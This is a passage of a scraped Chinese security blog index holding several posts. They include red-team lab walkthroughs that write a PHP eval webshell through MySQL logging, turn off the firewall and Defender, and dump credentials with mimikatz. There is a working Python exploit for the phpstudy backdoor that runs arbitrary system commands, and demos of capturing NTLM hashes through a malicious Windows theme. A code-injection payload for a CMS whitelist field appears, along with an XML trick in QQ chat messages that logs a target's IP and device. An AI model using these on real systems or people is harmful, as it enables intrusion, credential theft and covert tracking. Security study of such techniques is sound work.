前阵子去打了个小hw，遇到了一些东西，随手记一下。\n","title":"某省市HW随记","type":"post"},{"content":"本站使用全站模糊搜索（标题、摘要与正文）。\n按 Ctrl + K（macOS 为 ⌘ + K） 或点击顶部导航右侧的放大镜图标 ","date":"2022-07-13","externalUrl":null,"permalink":"/search/","section":"页面","summary":"本站使用全站模糊搜索（标题、摘要与正文）。\n按 Ctrl + K（macOS 为 ⌘ + K） 或点击顶部导航右侧的放大镜图标 ","title":"搜索","type":"page"},{"content":"这阵子遇到好几次这么一种情况。一个域名，一个端口，但是存在不同后缀的文件。\n当时首先想到的是端口复用，虽然没实际用过但是看这个词就知道功能上应该没问题。但是想了想，一般的开发或者运维人员技术力并不强，大概率是不会用端口复用的。直到昨天在某群里有师傅发了一个文章的截图，图里说到了这种情况，并且说可能是用了反代技术。这时候我才恍然大悟。\n反代====反向代理\n一般运维大多都会这个东西，属于比较基础的一种类vpn技术。之前我也只是大概直到这个东西，这次正好借机会学习学习。\n首先说下反向代理的概念，先放两张图\n两张图其实已经非常清楚了，要是还不懂的话。用通俗的话来说普通的代理（正向），将用户变成代理服务器去访问资源。反向代理是服务器把资源拿来给用户访问。一个是让用户出去，一个是让资源进来。\n那么说起反向代理就不得不提到Nginx，一般反代服务器都是用这个，虽然Apache也可以，但是用的人好像并不是很多。\n反向代理功能在Nginx的配置文件中设置。Nginx/conf/nginx.conf\n该文件中的内容基本可以以这个结构理解\nhttp { server { } } http即http服务器相关，server即开启的服务功能模块。所以我们需要在server里进行设置。\n如图所示。\nserver监听80端口\n服务识别名称为绑定的域名\nlocation 即为本地相关设置，后面可跟路径、正则。在这里我写了两个规则，分别是判断两个格式后缀。\n所以这个配置的功能就是：当以www.ttt.com访问到该服务器时，判断访问后缀。如果是html则反代888端口服务，txt则反代到889端口的服务上。（两个端口是为了区分不同网站，因为我也真没有两台服务器，只好以一台服务器的两个端口区分）\nlocation 配置规则\nhttps://juejin.cn/post/6908623305129852942\ny4er师傅说也可能是本地web服务+一个反代。这种思路大概也能出现这种功能，但我觉得还是保持存疑。因为在配置文件上好像有一些冲突的地方。web服务应该是直接在http一层设置的，反代在server层。两个先不说优先级和覆盖。location的规则可是只能在本层生效，上层应该是不行的。\n当然，到这里我就没再试了，也不敢肯定，只是推测。\n","date":"2021-08-13","externalUrl":null,"permalink":"/2021/08/13/%E5%88%9D%E6%8E%A2%E5%8D%95%E5%9F%9F%E5%90%8D%E5%8D%95%E7%AB%AF%E5%8F%A3%E5%A4%9A%E6%9C%8D%E5%8A%A1web/","section":"文章","summary":"这阵子遇到好几次这么一种情况。一个域名，一个端口，但是存在不同后缀的文件。\n","title":"初探单域名单端口多服务web","type":"post"},{"content":" ATT\u0026amp;CK实战系列-红队评估（一）靶场笔记 # 靶场连接\n概况： # 虚拟机密码\nhongrisec@2019 登陆后需重设\nwin7\n192.168.0.1/24 桥接\n192.168.52.0/24 内网\nwin2003\n192.168.52.0/24 内网\nwin2008\n192.168.52.0/24 内网\n靶机部署 # 先启动win2008 DC主机\n再启动win2003\n最后启动win7\nwin7主机C盘下启动phpstudy（软件损坏无法启动，自行另外安装并且迁移WWW内除phpmyadmin外文件）\n正文 # 先对外网服务器扫描，查看80端口。\n扫描爆破下目录，发现可以列目录。（可能是新装phpstudy导致的）发现存在敏感文件beifen.rar和phpmyadmin登录。 下载敏感文件解压，发现是源码。按照源码文件夹拼接url，发现一个存在一个残缺的cms，仔细查看没什么用。 再看源码，从源码中找到数据库密码\n拿到数据库root账户密码，正好可以登phpmyadmin\n先写一个一句话，路径可以从探针里获得\nselect \u0026#34;\u0026lt;?php @eval($_POST[a]);?\u0026gt;\u0026#34; into outfile (“C:/WWW/11.php”); 失败了，有限制\n改用日志试试\nset global general_log=\u0026#39;on\u0026#39;; #开启日志功能 set global general_log_file=’D:/WWW/xxx.php’; #设置日志保存地址 最后再查询一下，让查询内容写进去\nselect ‘\u0026lt;?php @eval($_POST[a]);?\u0026gt;’; 然后用菜刀连接（最开始用了蚁剑，但是连不上，原因未知。）\n用菜刀再写个冰蝎以备后患，冰蝎查下权限\n用冰蝎弹msf shell\nmsf无法切入shell，总是异常中断，猜测是杀软或者防火墙的原因\n换老方法，用webshell传个马过去，虚拟终端主动与运行静等cs上线\n上手先给自己再委派几个分身，防止掉会话\n往下就没啥可说了，本来想着这套靶机可以玩花样，但拿到机器就是管理员权限，剩下两台主机服务崩的崩掉的掉，也没怎么搞。还是用老路子，先mimikatz读内存里的密码。\n按网络拓扑图的思路，应该先拿下win2003，再利用域拿下win2008。这里票据传输进2003，再读密码，获得域管账户，再传输进2008。面对不出网机器需要走SMB beacon。攻击会话注意网段。\n","date":"2021-06-14","externalUrl":null,"permalink":"/2021/06/14/ATT\u0026CK%E5%AE%9E%E6%88%98%E7%B3%BB%E5%88%97-%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%EF%BC%88%E4%B8%80%EF%BC%89%E9%9D%B6%E5%9C%BA%E7%AC%94%E8%AE%B0/","section":"文章","summary":"ATT\u0026CK实战系列-红队评估（一）靶场笔记 # 靶场连接\n","title":"ATT\u0026CK实战系列-红队评估（一）靶场笔记","type":"post"},{"content":" ATT\u0026amp;CK实战系列-红队评估（五）靶场笔记 # 内网相关不太熟，于是最近没事找了几个靶场练手，这里把过程记一下。也不算wp，只能算随手记吧，有不详之处各位自行琢磨，都没什么难度的。\n靶场连接\n概况： # 虚拟机密码\nwin7\nsun\\heart 123.com\nsun\\Administrator dc123.com\n2008\nsun\\admin 2020.com\nWin7双网卡模拟内外网\n网络 # 192.168.135.0/24\n192.168.138.0/24 域网络\n靶机部署 # 先启动win2008 DC主机\n再启动win7\nwin7主机C盘下启动phpstudy（提示需使用管理员）\nsun\\Administrator dc123.com\n正文 # 首先访问win7主机80端口，发现存在web。web为thinkphp，并且此版本存在RCE漏洞。\n按照习惯爆下路径，发现存在add.php特殊文件，访问发现是一个后门，可以进行密码爆破。\n这里就有两条解法了。一是通过thinkphp写马，二是爆破后门密码进行操作。\n我这里走的是爆破后门，TP漏洞可自行百度。\n原本使用dirb，结果并没有扫到东西。后更换了dirsearch才有东西。有时候字典很重要，或者多换几个工具都是可以的。\nburp抓包进行爆破，用了当初豫剑会议搞的字典爆破\n获得密码admins，然后登录\n发现这个马并不是很好用，于是转而传冰蝎上马。\n获取相关信息\n利用冰蝎自带的反弹shell功能弹一个msf的shell，然后发现马并不稳定猜测是防火墙的原因，使用命令关闭防火墙\nnetsh advfirewall set allprofiles state off #关闭防火墙 net stop windefend #关闭windefebd bcdedit.exe /set{current} nx AlwaysOff #关闭DEP 然后发现依然无法将msf会话转到cs上，遂放弃，改而转用其他方法转会话。（这里原因未知）\n用web后门上传cs生成的木马，然后冰蝎弹nc到攻击机，再手动运行exe。静等一会后cs提示上线，修改sleep进行快速操作。\n为了稳这里多上几个控，有spawn的有注入进程的。右击扫描端网段去发现其他主机及其服务。（扫描内网138段）然后运行mimikatz读系统里的账户密码。原本这里需要先提权，结果这里已经是管理员了，实战情况下比较少见。（成员机系统中运行了管理员权限的软件）\nCS切换列表，右击目标主机使用psexec进行攻击\n选择刚刚读到的域管理员的账户，会话监听器选择我们另外创建的smb监听器，攻击会话随意（应为同内网的机器，这里网络简单就不用考虑了）\n静等一会以后DC上线 smb的会话不会一直显示，时掉时上很正常。\n到此就算是拿下了全部机器\n","date":"2021-06-12","externalUrl":null,"permalink":"/2021/06/12/ATT-CK%E5%AE%9E%E6%88%98%E7%B3%BB%E5%88%97-%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%EF%BC%88%E4%BA%94%EF%BC%89%E9%9D%B6%E5%9C%BA%E7%AC%94%E8%AE%B0/ATT\u0026CK%E5%AE%9E%E6%88%98%E7%B3%BB%E5%88%97-%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%EF%BC%88%E4%BA%94%EF%BC%89%E9%9D%B6%E5%9C%BA%E7%AC%94%E8%AE%B0/","section":"文章","summary":"ATT\u0026CK实战系列-红队评估（五）靶场笔记 # 内网相关不太熟，于是最近没事找了几个靶场练手，这里把过程记一下。也不算wp，只能算随手记吧，有不详之处各位自行琢磨，都没什么难度的。\n","title":"ATT\u0026CK实战系列-红队评估（五）靶场笔记","type":"post"},{"content":" RT # 之前的服务商出了各种各样的意外情况，最后我的机器就这样没了。数据也没了。现在用的数据是之前宝塔爆洞的时候备份的（2020-8）\n中间其实也写了几篇有含金量的文章，可惜就这么没了。隐约就记得一点内容，就大致写上吧，可能还有一些东西已经彻底忘了，那就没法办法喽。\n总之思来想去最后还是选择了使用github+hexo，没什么优点，唯独省心。\n很感谢还有朋友一直关心着我，等着我回来。\n从typecho迁移真是千辛万苦，一篇篇文章手动搬运。从17年到21年，虽然文章不多，但每篇都是自己的心血。从第一篇搬到最后一篇，仿佛自己重新经历了一次这段人生，种种感慨。最后又看了看删除了一些年少轻狂时写的胡言乱语。停下码字的手稍微想了下，今年自己都二十五六了，也不能总是这么幼稚。\n进后稍微成熟点吧\n就这样\n2021.05.18\n","date":"2021-05-18","externalUrl":null,"permalink":"/2021/05/18/2021-05%E5%85%B3%E4%BA%8E%E7%AB%99%E7%82%B9%E7%9A%84%E4%B8%80%E4%BA%9B%E8%AF%9D/","section":"文章","summary":"RT # 之前的服务商出了各种各样的意外情况，最后我的机器就这样没了。数据也没了。现在用的数据是之前宝塔爆洞的时候备份的（2020-8）\n","title":"2021.05关于小站的一些话","type":"post"},{"content":"本文章详细已丢失\nCNVD-2020-47676+CNVD-2020-47675\n一个是后台xss，一个是数据库备份文件未授权下载。\n就这样，懂得都懂\n","date":"2021-05-17","externalUrl":null,"permalink":"/2021/05/17/%EF%BC%88%E4%B8%A2%E5%A4%B1%E6%96%87%E7%AB%A0%EF%BC%89%E5%89%91%E9%B1%BCBBS%E5%90%8E%E5%8F%B0XSS%E7%BB%84%E5%90%88%E6%8B%B3%E8%8E%B7%E5%8F%96%E6%95%B0%E6%8D%AE%E5%BA%93%E6%96%87%E4%BB%B6/","section":"文章","summary":"本文章详细已丢失\nCNVD-2020-47676+CNVD-2020-47675\n一个是后台xss，一个是数据库备份文件未授权下载。\n","title":"（丢失文章）剑鱼BBS后台XSS组合拳获取数据库文件","type":"post"},{"content":" About me # 松鼠A（sshuo），安全研究者。\nGitHub：https://github.com/shiyeshu 本站前身建立于 2017 年，主要记录渗透测试、安全研究与折腾日常；2022 年后停更，2026 年从旧站存档重建。\n","date":"2021-04-06","externalUrl":null,"permalink":"/about/me.html","section":"页面","summary":"About me # 松鼠A（sshuo），安全研究者。\n","title":"About me","type":"page"},{"content":"本文详细已丢失，只留了脚本\ngithub\n","date":"2020-10-14","externalUrl":null,"permalink":"/2020/10/14/%EF%BC%88%E4%B8%A2%E5%A4%B1%E6%96%87%E7%AB%A0%EF%BC%89VMware-vCenter_poc/","section":"文章","summary":"本文详细已丢失，只留了脚本\ngithub\n","title":"（丢失文章）VMware-vCenter_poc","type":"post"},{"content":"近期看到嘶吼发的一篇文章\n很感兴趣，于是决定试一试。根据文章中所说的信息进行了复现，记录一下复现过程。\n复现过程\n攻击机：kali 192.168.233.128\n靶机：win server 2012 192.168.233.130\nwin10 192.168.233.1\n首先制作恶意主题包\n右击桌面，选择到主题，选择已应用的主题，右击导出主题文件\n. 导出文件为deskthemepack后缀。使用压缩文件打开该文件获得theme文件\n用文本编辑器打开theme文件，来到\n\\[Control Panel\\\\Desktop\\]块下面，找到Wallpaper参数。利用地点就在这里。这里规定了壁纸的引用地址，可以是本地文件也可以是一个网络地址。而网络地址又支持多种协议。所以就功能来讲确实不算是漏洞，微软拒绝修复也很正常。\n我们将Wallpaper的值设置为一个SMB共享文件 192.168.233.128\\a\\shell.png (攻击者开启的smb服务)\n然后保存。进入kali开启smb服务。我们可以使用impacket进行快速搭建服务。impacket具体用法请自行百度\nimpacket-smbserver a pwd\n如果失败记得加上sudo\n开启成功后模拟被害者操作\n双击theme文件安装主题,这个时候kali里面就会收到用户的凭据信息 注意：SMB服务器一定要在正常运行，不然靶机会桌面无响应。\n这就是整个攻击流程。其实最本质的思想就是在一些无需授权的功能处访问无密码smb资源时会默认传递系统自己的凭据信息。将这个思路扩大还有其他玩法。比如近些年火热的动态壁纸软件wallpaper engine也有一个外部资源访问的功能\n这个也可以利用\n还有什么呢？其实html也可以。正好在win server 中没有主题这个玩意，于是便可以利用html进行攻击\n访问恶意html文件\nsmb服务器同样收到了凭据信息\n至此两台靶机全都攻击成功。\n最后想一想其实可以攻击的手段还有很多，只要是远程资源，自动访问，都可以进行这个攻击。但是在实验时发现了问题，445端口在网络运营商那一层就被屏蔽掉了，据说是为了防御永恒之蓝。win系统又不支持非标准smb访问，所以这个手法在国内大概只能用于内网了吧。国外环境因为复现麻烦就没再尝试。\nEND\n","date":"2020-09-22","externalUrl":null,"permalink":"/2020/09/22/%E5%88%9D%E6%8E%A2%E5%9F%BA%E4%BA%8Ewindows%E4%B8%BB%E9%A2%98%E7%9A%84%E5%93%88%E5%B8%8C%E4%BC%A0%E9%80%92%E6%94%BB%E5%87%BB/","section":"文章","summary":"近期看到嘶吼发的一篇文章\n很感兴趣，于是决定试一试。根据文章中所说的信息进行了复现，记录一下复现过程。\n","title":"初探基于windows主题的哈希传递攻击（更正:这玩意不算pth）","type":"post"},{"content":"宝塔2020/8/23–7.4.2版本验证poc py练手\n验证url暂时不支持例如 www.baidu.com:123 这种\n支持类型\nhttp://www.baidu.com:888\nhttp://www.baidu.com\nwww.baidu.com\n2020/8/26 更新批量脚本line.py,支持批量扫描。数据列表文件为ip.txt\n由于网络原因失败回显可能会混乱，请多次扫描以确定结果\n#本工具仅为技术研究使用，请勿用于非法\ngithub:https://github.com/shiyeshu/BT_7.4.2_POC#bt_742_poc\n由于门槛利用较低危害过大，小伙伴们抓紧升级\n","date":"2020-08-26","externalUrl":null,"permalink":"/2020/08/26/%E5%AE%9D%E5%A1%94%E9%9D%A2%E6%9D%BFpma%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E9%AA%8C%E8%AF%81POC/","section":"文章","summary":"宝塔2020/8/23–7.4.2版本验证poc py练手\n验证url暂时不支持例如 www.baidu.com:123 这种\n","title":"宝塔面板pma未授权访问验证POC","type":"post"},{"content":"刚刚换了新电脑，重新安装一堆东西，装到burp的时候遇到了坑，在此记一下\n浏览器：\n360激素浏览器\nEdge浏览器\nIE浏览器\nburp版本：v2020.2.1\n首先是遇到了无法导出证书。代理成功并且可以抓包，但就是无法访问http://burp页面。后来又想可能是360魔改浏览器地方太多导致的bug，于是切回edge访问（毕竟亲儿子）。设置代理后依然无法访问。\n解决方法：\n一、internet选项设置代理后使用IE浏览器访问。（虽然不情愿但它就是行）\n二、使用burp本身自带的导出功能直接导出。\n（导出时记得改下后缀）\n第二个问题是证书导入成功后不生效\n这问题以前也遇到过，后来莫名其妙就好了。不过确实是个问题于是仔细研究了研究。最开始以为是这个的问题\n不过清除了以后并没有效果\n多次检查证书的位置也没问题，确实是在信任区。最后终于找到了“视野盲区”，证书列表里面竟然有两个portswigger ca，两个一摸一样的，但是一个可以删除一个删除选项是灰的。于是猜想不能删的可能是最开始某些情况下被装上去的（可能是某种bug），第二个是自己又安装的。所以问题应该是那个不能删除的证书。\n解决方法：\n运行cmd，输入mmc\n选择添加个管理单元，在里面添加证书选项。\n在这个里面就能删除无法删除的证书了 删除之后再按常规证书安装方法走一遍就行了（我是先添加到中间证书再导出再安装到信任证书）\n就这样\n越往后写越想省略，咕咕咕！\n2021\n再加一个。新版burp抓包后正文可能出现漂移现象。大多数人是通过调整字体及大小改善的，但那治标不治本。正确的方法应该是进入到JAVA（或者JRE）中，右击java.exe or javaw.exe ，选择兼容选项，修改取消dpi缩放，下来选择为系统选项。\n","date":"2020-06-08","externalUrl":null,"permalink":"/2020/06/08/%E8%AE%B0burp%E4%BD%BF%E7%94%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9D%91/","section":"文章","summary":"刚刚换了新电脑，重新安装一堆东西，装到burp的时候遇到了坑，在此记一下\n","title":"记burp使用的一些坑","type":"post"},{"content":"最近隔离闲的无聊，实在没什么事情就开始想练练审计\n想了想因为一直都非常好奇h站的运行模式，于是目标就锁定在了h站的程序上。\n这种视频站的源码能教出名字的其实一共也没几个，之前还有苹果和海洋，现在好像这两个已经因为国内打击盗版而死亡（转入地下）了。所以我其实也就只知道剩下的久草了。\n说实话以前我以为久草也是视频站程序，只不过被巧妙的利用罢了。然而当我第一次打开他的官网论坛的时候就被震惊了。\n光明正大的ghs\n（本图为官方提供模板）\n不管了，把源码下下来开始审计\n这里下了最新的版本\n│─adminx //后台目录 │─assets //后台样式表 │─class //后台栏目 │─Jccms_json //存储数据 │─JCSQL //视频数据 │─lib //数据模块 │─static //播放器文件 │─template //模板 │─index.php //入库文件 (官方提供的结构说明)\n拿到源码，放到phpstudy里，首先去安装，然而没有找到常见的install目录。看了看说明发现根本就不用安装，这个时候就疑惑了。不用安装，那它的数据是存在哪里的呢？\n直访问首页，发现视频什么的都有了，猜测是直接向远程获取的（这也解决了视频存储问题，我就说那些小电影站不可能把文件全放本地）\n开始干\n首先用Seay审计打开\n先自动审计一下，按照预置规则来，应该不会漏下什么\n首先要找漏洞，我们就要找“大”的。所以理所当然的找前台漏洞，想了想这网站的性质来说也不会有什么交互，直接找注入吧。找了一会发现整个程序根本就是无SQL化。SQL注入扑街~~\n不过在找到时候发现了它用户认证的方式\n/JCSQL/Admin/Security/AdminUser.php\n这个文件里存放了用户账号密码，充当了数据库的作用。以文本形式保存不会出现SQL注入的风险，以PHP的形式存在，又能避免被下载。妙啊~\n然后看看你第三行，顾名思义是IP过滤。\n后台里还真就有这个功能\n那么问题来了，当我们修改信息的时候其实就是读写了文本。而文本又是以php存在的。那么，如果我们插入适当的payload，其实就可以直接形成任意文件读写。好了，我们再来看一看。IPPASS的传值\n好的，直接字符串写入了。并没有其他的安全函数进行过滤。这个程序本身存在一个过滤函数。\n经典防护 （好像还有一个什么函数，结果写文章时找不到了）\n那么我们来利用这个任意文件读写漏洞。我们的目标是AdminUser.php文件，首先通过浏览器访问，看看是否403之类的。访问后出现空白，说明可以任意用户访问，但是无显示内容（代码就三行，也真没显示的东西）\n回到后台，在白名单处填写我们的payload\n结合代码原来的样子，我们应该闭合第一个单引号，然后插入我们的代码，再闭合后面的单引号和括号之类的。\n大致来说就是这么个格式‘);payload; //‘127.0.0.1\n加入我们想写入一个文件：\n‘);$myfile = fopen(“1.txt”, “w”) ;$txt = “奥里给”;fwrite($myfile, $txt); //‘127.0.0.1\n写入完成后再访问一下AdminUser.php，让代码执行。然后访问同目录下的1.txt即可看到奥力给\n到这里基本就完了，因为这个cms太小了，结构简单并且巧妙，没什么好玩的了。\n最后再来一个反射xss\n自动审计搜索出三个XSS可疑点\n我们点进去第一个看一看\n可以看到再script的src里直接输出了GET参数Play\n那么同样的直接构造即可，姿势太多了\n访问这个文件的时候只要加上参数XXXX.PHP?Paly=payload\n即可\n","date":"2020-03-16","externalUrl":null,"permalink":"/2020/03/16/%E8%AE%B0%E4%B8%80%E6%AC%A1%E4%B9%85%E8%8D%89CMS%E5%AE%A1%E8%AE%A1/","section":"文章","summary":"最近隔离闲的无聊，实在没什么事情就开始想练练审计\n想了想因为一直都非常好奇h站的运行模式，于是目标就锁定在了h站的程序上。\n","title":"记一次久草CMS审计","type":"post"},{"content":"注意：本文仅是技术讲解，并非利用方法。技术虽好，请勿用于违法。\n首先我们要知道什么是 xml 消息。在 QQ 聊天框里，除了文字和图片以外的东西，几乎都是 xml 消息。比如最近很火的“消息回执”、“网警巡查”、“虚假红包”等等。它们通过 xml 实现了在QQ内的特殊消息显示。\n重点来了（敲黑板）\n那么 QQXML 消息和 IP 探测有什么关系呢？\n我们平时是不是见过这种消息：\n这个消息有标题有内容，还有一个封面图片。这时候我们提取这个消息的 XML 代码:\n我们看到这段代码里有两条链接。一个是 url ，即这篇文章的地址，点击以后 QQ 就用浏览器访问了这个网址。另一个是 cover，这篇文章的封面图片。\n我们注意到，图片是自动加载的。当我们收到这条消息的时候，会自动显示这张图片。也就是说，只要在有网络的情况下，我们的 QQ 就会自动”访问”这个图片，不受我们自己控制。\n而我们都知道，当访问一个网络资源的时候服务器日志上是会记录一些信息的，也就是 http 请求信息。通过日志查看请求信息，我们可以知道访问者的 IP 、 UA 等等信息。\n那么，如果这个 XML 消息中的图片被篡改了呢？\n现在，让我们把 XML 代码中的图片替换掉。随意替换成什么都可以，但只要是在 cover 那个位置，QQ 都会主动去”访问”它。\n替换完成后，想办法把 XML 消息，通过 QQ 发送给目标，然后我们再去服务器日志中查看信息，就可以得到对方的 IP 以及 UA 。通过 IP 可以知道对方的位置，通过 UA 可以得到对方的设备型号。\n接下来，我们来实战，目标就是我们不务正业的奶凶少女曦。\n首先我们准备一个XML消息，找一个最常见的，就百度吧（不容易被怀疑）。在 QQ 里访问百度，然后分享出去，这样我们就能很快的得到一个XML消息。\n然后提取修改，将 cover 修改为自己服务器上的资源。这里我用了 ceye 作为代替（因为我穷并且懒），填上自己的 ceye 地址：\nhttp://XXX.ceye.io/favicon.ico 将修改后的 xml 消息发送给对方，静等几秒后撤回。（静等几秒是为了让对方加载完成。撤回因为图片可能会多次被访问，造成信息混乱）\n这个时候图片加载不出来了，因为 XML 里面的 cover 有问题，自然显示不了。\n最后进入到 ceye 的后台，查看 HTTP Request 选项。\n可以看到最上面最新的那个是萌曦的信息。下面的比较早，那个是自己的。因为 xml 消息自己肯定是第一个加载完成的。然后我们拿着 IP 和 UA 去查询。IP 查询结果这里我就不说了。看 UA，百度了一下。\n啧啧啧（你们去查查我的是什么设备，知道我有多贫穷了吧。\n实战到此结束。\n最后的话：\n其实这些操作，都是可以进一步优化，实现更舒畅的效果。\n比如不使用 ceye，这玩意隔三岔五崩溃，用着实在心累。\n比如通过某种手段将 php 当成图片，这样就能制作一个完美的私人嗅探系统。\n比如使用高精度 IP 定位，精确到街道等级，我就可以在放学路上拦截少女了（贱笑\n文章首发朋友的公众号 # 请大家多多支持 # ","date":"2020-03-04","externalUrl":null,"permalink":"/2020/03/04/%E7%9C%8B%E6%88%91%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87QQ%E5%97%85%E6%8E%A2%E5%AF%B9%E6%96%B9%20IP/","section":"文章","summary":"注意：本文仅是技术讲解，并非利用方法。技术虽好，请勿用于违法。\n","title":"看我如何通过QQ嗅探对方 IP","type":"post"},{"content":"最近开始学习C#了\n起因是有天夜里突然想到总结一下自己这些年都有什么成果，结果总结了总结发现目前为止自己写的所有东西都是黑框框（web除外）。又想了想自己都会什么语言，发现自己根本没有会一种“沉稳”的语言。于是乎就就结合自己的情况决定学习C#\n我个人觉得学习新语言嘛，看视频看书是最慢的。我一般都是先看文档，了解这个语言的大致基础“规则”。然后给自己定一个小项目。马上开始动手进行，即使是面向百度也无所谓。动手实践比什么都强。\n于是我就写了一个编码转换工具，因为有时候所处的环境没有网络，无法使用在线工具，及时有网络再去寻找这些工具也是需要时间。所以正好借这个机会自己给自己写一个。\n代码内容并不难，更能综合锻炼自己的学习能力\n界面\n甚至为自己自豪的添加了声明\n百度网盘：\n链接：https://pan.baidu.com/s/12a3f0xMcgk8kaemcb0lq8g\n提取码：ks9m\n复制这段内容后打开百度网盘手机App，操作更方便哦\ngithub有时间再传，电脑没电了，关机睡觉\n","date":"2020-01-13","externalUrl":null,"permalink":"/2020/01/13/C%23%E5%AD%A6%E4%B9%A0%E5%89%AF%E4%BA%A7%E7%89%A9--%E7%BC%96%E7%A0%81%E5%8A%A9%E6%89%8B%EF%BC%88%E6%9C%AC%E5%9C%B0%E7%BC%96%E7%A0%81%E5%B0%8F%E5%B7%A5%E5%85%B7%EF%BC%89/","section":"文章","summary":"最近开始学习C#了\n起因是有天夜里突然想到总结一下自己这些年都有什么成果，结果总结了总结发现目前为止自己写的所有东西都是黑框框（web除外）。又想了想自己都会什么语言，发现自己根本没有会一种“沉稳”的语言。于是乎就就结合自己的情况决定学习C#\n","title":"C#学习副产物--编码助手（本地编码小工具）","type":"post"},{"content":"最近开始学习C#了\n起因是有天夜里突然想到总结一下自己这些年都有什么成果，结果总结了总结发现目前为止自己写的所有东西都是黑框框（web除外）。又想了想自己都会什么语言，发现自己根本没有会一种“沉稳”的语言。于是乎就就结合自己的情况决定学习C#\n我个人觉得学习新语言嘛，看视频看书是最慢的。我一般都是先看文档，了解这个语言的大致基础“规则”。然后给自己定一个小项目。马上开始动手进行，即使是面向百度也无所谓。动手实践比什么都强。\n于是我就写了一个编码转换工具，因为有时候所处的环境没有网络，无法使用在线工具，及时有网络再去寻找这些工具也是需要时间。所以正好借这个机会自己给自己写一个。\n代码内容并不难，更能综合锻炼自己的学习能力\n界面\n甚至为自己自豪的添加了声明\n百度网盘：\n链接：https://pan.baidu.com/s/12a3f0xMcgk8kaemcb0lq8g\n提取码：ks9m\n复制这段内容后打开百度网盘手机App，操作更方便哦\ngithub有时间再传，电脑没电了，关机睡觉\n","date":"2020-01-13","externalUrl":null,"permalink":"/2020/01/13/%E5%AD%A6%E4%B9%A0%E5%89%AF%E4%BA%A7%E7%89%A9--%E7%BC%96%E7%A0%81%E5%8A%A9%E6%89%8B%EF%BC%88%E6%9C%AC%E5%9C%B0%E7%BC%96%E7%A0%81%E5%B0%8F%E5%B7%A5%E5%85%B7%EF%BC%89/","section":"文章","summary":"最近开始学习C#了\n起因是有天夜里突然想到总结一下自己这些年都有什么成果，结果总结了总结发现目前为止自己写的所有东西都是黑框框（web除外）。又想了想自己都会什么语言，发现自己根本没有会一种“沉稳”的语言。于是乎就就结合自己的情况决定学习C#\n","title":"学习副产物--编码助手（本地编码小工具）","type":"post"},{"content":"前阵子phpstudy爆了后门，网络安全周爆的呢\n影响版本phpstudy 2016版PHP5.4\n据说官网phpstudy2018版php-5.2.17和php-5.4.45也有，未实测\n据传言这个也存在\n现在网上着分析消息一般就三种，一种是新闻报道，一种是逆向研究，还有就是exp\n看了很多个exp代码又复杂又不好用，最后决定自己写一个试试\n看了看其实就是报文里有两个属性字段被修改了，其他正常发包即可\n首先用burp试了试，复现失败，没有返回命令内容\n后来无意中发现把Accept-Encoding后面属性deflate最前面的空格去掉即可\n命令：echo “111111111111111”;\n（1处deflate前面去掉一个空格，2处为命令内容b64编码）\n复现成功\npython写一个\n# -*- coding: utf-8 -*- import requests,base64,sys def go(url): if \u0026#39;http\u0026#39; not in url: url = \u0026#39;http://\u0026#39;+url else: a = input(\u0026#39;请输入指令\\n\u0026#39;) b = \u0026#39;system(\u0026#34;%s\u0026#34;);\u0026#39; %a c = base64.b64encode(b.encode(\u0026#39;utf-8\u0026#39;)) payload = (str(c,\u0026#39;utf-8\u0026#39;)) headers = { \u0026#39;Accept-Encoding\u0026#39;:\u0026#39;gzip,deflate\u0026#39;, \u0026#39;Accept-Charset\u0026#39;:payload } send = requests.get(url=url,headers=headers,timeout=10) if send.status_code == 200: print(\u0026#39;发送成功\u0026#39;) print(send.text) else: print(\u0026#39;执行失败，可能后门不存在\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: t=input(\u0026#39;请输入url\\n\u0026#39;) go(t) 直接运行系统命令\n但是这个后门本质是运行php代码\n因为我写的第八行所以只跑了系统命令\n输出部分本来想美化，后来发现会影响回显遂放弃\ngithub\n本文章已经所附代码仅供技术研究，请勿用于其他用途\n","date":"2019-09-25","externalUrl":null,"permalink":"/2019/09/25/phpstudy%E5%90%8E%E9%97%A8exp/","section":"文章","summary":"前阵子phpstudy爆了后门，网络安全周爆的呢\n影响版本phpstudy 2016版PHP5.4\n","title":"phpstudy后门exp","type":"post"},{"content":"使用phpstudy时其中Apache无法启动，点击启动后再次自动关闭\n在网上查了很多资料，有的说是端口占用、有的说是程序冲突\n也有说vhost出错的，当然这几个确实可能导致这种问题\n但是最后解决却是在httpd.conf中\n进入到Apache的目录中手动用cmd启动\n查看报错文件信息httpd.conf第223行\n文件在Apache\\conf\\下\n. 第223行路径最后多了一个“\\”，去掉以后再重新启动Apache。现在服务已经可以正常启动了\n最后提一下，这个问题往往由于更换web目录时偷懒造成的。\n正常操作是点击“打开”选择路径然后应用，但是偷懒的人会直接在前面的路径框里修改然后应用，这个时候往往会在路径最后留上一个\\，于是就报错了\n","date":"2019-07-12","externalUrl":null,"permalink":"/2019/07/12/phpstudy%E4%B8%ADApache%E6%97%A0%E6%B3%95%E5%90%AF%E5%8A%A8%E9%97%AE%E9%A2%98/","section":"文章","summary":"使用phpstudy时其中Apache无法启动，点击启动后再次自动关闭\n","title":"phpstudy中Apache无法启动问题","type":"post"},{"content":"冬天了，又到了白色…..又到了恋爱的季节\n没有女票的我闲着蛋疼做了一个表白墙程序，放到github冒充项目….\n原生php撸程序真的好累….我想学tp…\n程序并不复杂，全部用原生写的。对php初学者应该很有用。\n前端使用bs布局，还有一些想不起来的地方可能大概用了layui…\n首页留言每次刷新布局都会变化，使用随机数让bs栅格随机\n登陆界面本来不是这样，忘了改了什么变成这样了…不就修了\n后台暂时是这样的，我喜欢干净…至于为什么没有分页,,,懒得弄。到时候看看github上的版本有没有吧，如果我还填坑的话…\n总之就是这样，安全性不怎么样。就加了一个360防护，输入过滤之类什么都没有\nGITHUB:https://github.com/shiyeshu/ss-love\n","date":"2018-12-19","externalUrl":null,"permalink":"/2018/12/19/%E8%8F%9C%E9%B8%A1%E7%BB%83%E6%89%8B---%E8%A1%A8%E7%99%BD%E5%A2%99/","section":"文章","summary":"冬天了，又到了白色…..又到了恋爱的季节\n没有女票的我闲着蛋疼做了一个表白墙程序，放到github冒充项目….\n","title":"菜鸡练手---表白墙","type":"post"},{"content":"七月份左右的时候我鼓鼓捣捣终于完成了自己的第